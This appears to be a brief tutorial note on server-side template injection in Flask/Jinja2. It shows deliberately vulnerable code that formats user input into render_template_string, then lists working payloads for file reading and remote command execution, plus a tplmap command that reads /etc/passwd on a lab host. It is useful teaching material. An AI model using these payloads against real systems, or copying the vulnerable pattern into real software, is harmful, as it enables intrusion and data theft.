

SSTI

A template engine allows developers to use static HTML pages with dynamic elements. Take for instance a static profile.html page, a template engine would allow a developer to set a username parameter, that would always be set to the current user's username

Server Side Template Injection, is when a user is able to pass in a parameter that can control the template engine that is running on the server.

```
template = """
<!DOCTYPE html><html><body>\
  <form action="/" method="post">\
    First name:<br>\
    <input type="text" name="name" value="">\
    <input type="submit" value="Submit">\
  </form><h2>Hello %s! </h2></body></html>""" % user_input

return render_template_string(template)
```

This introduces a vulnerability, as it allows a hacker to inject template code into the website. The effects of this can be devastating, from XSS, all the way to RCE.

Manual ssti

```
lfi : {{ '__class__.__mro__[2].__subclasses__()[40]() -
(<file>).read()}}
```

```
rce :
{{config.__class__.__init__.__globals__['os'].popen(<command>).read()}}
```

automatic ssti

```
./tplmap.py -u http://10.10.10.10:5000/ -d 'noot' --o-cmd "cat /  
etc/passwd"
```